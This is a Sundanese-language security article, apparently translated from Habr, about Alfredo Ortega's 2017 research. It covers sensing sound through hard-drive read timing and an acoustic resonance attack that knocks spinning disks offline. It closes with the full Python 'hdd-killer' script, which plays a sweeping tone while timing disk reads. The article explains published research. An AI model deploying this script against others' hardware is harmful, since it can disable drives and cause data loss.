Naha anjeun teu kedah ngagorowok dina HDD Anjeun

Naha anjeun teu kedah ngagorowok dina HDD Anjeun

Dina konperénsi kaamanan komputer Ekoparty 2017 di Buenos Aires, hacker Argentina Alfredo Ortega nunjukkeun pamekaran anu pikaresepeun pisan - sistem pikeun penyadapan rahasia enggon tanpa nganggo mikropon. Sora dirékam langsung kana hard drive!

HDD utamana nyokot sora frékuénsi low-inténsitas tinggi, footsteps jeung geter lianna. Omongan manusa can bisa dipikawanoh, sanajan élmuwan keur ngalaksanakeun panalungtikan arah ieu (Pangakuan ucapan ku geter frekuensi rendah, anu dirékam, contona, tina giroskop atanapi HDD).

Sora nyaéta geter hawa atawa médium séjén. Hiji jalma perceives aranjeunna ngaliwatan ceuli, nu transmits geter kana ceuli batin. Mikropon dirancang kasarna kawas ceuli - di dieu ogé, geter dirékam ku mémbran ipis, nu excites hiji dorongan listrik. Hard drive, tangtosna, ogé tunduk kana vibrations mikroskopis alatan fluctuations dina hawa sabudeureun. Ieu dipikawanoh malah tina ciri teknis HDDs: pabrik biasana nunjukkeun tingkat Geter maksimum diidinan, sarta hard drive sorangan mindeng nyoba nempatkeun eta dina wadahna Geter-bukti dijieunna tina karét atawa bahan insulasi lianna. Ti ieu gampang pikeun nyimpulkeun yén sora tiasa dirékam nganggo HDD. Sadaya anu tetep nyaéta pikeun terang kumaha.

Alfredo Ortega ngajukeun versi unik tina serangan saluran sisi, nyaéta serangan waktos. serangan ieu dumasar kana anggapan yén operasi béda anu dipigawé dina alat dina waktu béda, gumantung kana data input dibikeun. Dina hal ieu, "data input" nyaéta geter tina sirah bacaan sareng piring HDD, anu pakait sareng geter lingkungan, nyaéta, sareng sora. Ku kituna, ku cara ngukur waktu komputasi jeung ngalakukeun analisa statistik data, geter sirah / piring jeung ku kituna geter medium bisa diukur. Beuki lila reureuh maca data, beuki kuat geter HDD, ku kituna sorana beuki nyaring.

Kumaha ngukur geter hard drive? Saderhana pisan: ngan ngajalankeun panggero sistem read () - sareng rekam waktos anu diperyogikeun pikeun réngsé. Sistem operasi modéren ngamungkinkeun anjeun maca waktos telepon sistem kalayan akurasi nanodetik.

Laju maca inpormasi ti séktor gumantung kana posisi sirah sareng piring, anu pakait sareng geter tina kasus HDD. Éta hungkul.

Analisis statistik dilaksanakeun nganggo utilitas Kscope sederhana. Sakumaha aranjeunna nyarios, sadayana akalna saderhana.

Naha anjeun teu kedah ngagorowok dina HDD Anjeun
Utilitas Kscope (stat() syscall)

Kscope mangrupikeun utilitas leutik pikeun ngabayangkeun bédana leutik dina waktos palaksanaan panggero sistem. Sumberditerbitkeun dina GitHub.

Dina gudang misah HDD-waktos Aya versi utilitas anu dikonpigurasi pikeun serangan waktos dina hard drive, nyaéta, dikonpigurasi pikeun nganalisis telepon sistem. read ().

Demonstrasi ngarékam sora nganggo HDD, operasi utilitas Kscope


Tangtosna, ucapan henteu tiasa kahartos ku cara ieu, tapi HDD cukup cocog salaku sénsor geter. Salaku conto, anjeun tiasa ngadaptar upami jalma anu ngagem sapatu teuas atanapi tataranjang suku asup ka kamar kalayan komputer (panginten, upami panyerang ngagem sneakers lemes atanapi aya karpét kandel di lantai, HDD moal tiasa ngadaptarkeun geter - ieu patut dipariksa). Komputer tiasa ngadaptarkeun kaca pecah atanapi insiden sanésna kalayan inténsitas sora anu kuat. Nyaéta, hard drive tiasa janten jinis sistem deteksi intrusion anu teu sah.

pembunuh HDD

Ku jalan kitu, téknik anu sami tiasa dianggo pikeun nganonaktipkeun hard drive. Ngan di dieu urang teu nyabut osilasi tina HDD, tapi sabalikna, urang ngahasilkeun osilasi nu fed ka HDD. Upami Anjeun muterkeun sora tina spiker dina frékuénsi anu resonates kalawan frékuénsi HDD, sistem geura-giru mareuman alat kalawan I / O kasalahan (kernel Linux Ubuntu lengkep mareuman HDD sanggeus 120 detik). Hard drive sorangan bisa ngalaman karuksakan teu bisa balik.

Naha anjeun teu kedah ngagorowok dina HDD Anjeun
Kernel Linux dipareuman hard drive sanggeus 120 detik nganteurkeun sora dina frékuénsi resonant ngaliwatan spiker tina Edifier r19u USB spiker. Spéker dihurungkeun sakitar saparapat tina kakuatan (kirang ti 100 mW) sareng ayana 20 cm ti HDD, ditujukeun kana méja pikeun ningkatkeun geter. Pigura ti video kalawan démo tina killer HDD

Panasaran yén "serangan" sapertos kitu dina HDD kadang-kadang lumangsung sacara teu kahaja dina kahirupan sapopoe. Salaku conto, dina Séptémber 2016, pusat data ING Bank kapaksa ngagantungkeun operasi salami 10 jam saatos latihan seuneu. Puluhan hard drive geus gagal alatan sora nyaring gas inert dileupaskeun tina silinder dina tekanan tinggi. Sorana nyaring pisan (leuwih ti 130 dB), tapi anjeun malah teu tiasa ngagorowok dina hard drive - ieu ningkatkeun telat dina aksés HDD.

Demonstrasi manusa ngagorowok dina hard drive di pusat data. Pangukuran latency


Pikeun ngahasilkeun sora resonating, Alfredo Ortega nulis Aksara Python disebut hdd-killer (démo video).

Aksara killer HDD Ieu rada leutik, jadi Anjeun bisa nyebarkeun eta dina entirety na dieu.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

sumber: www.habr.com

Tambahkeun komentar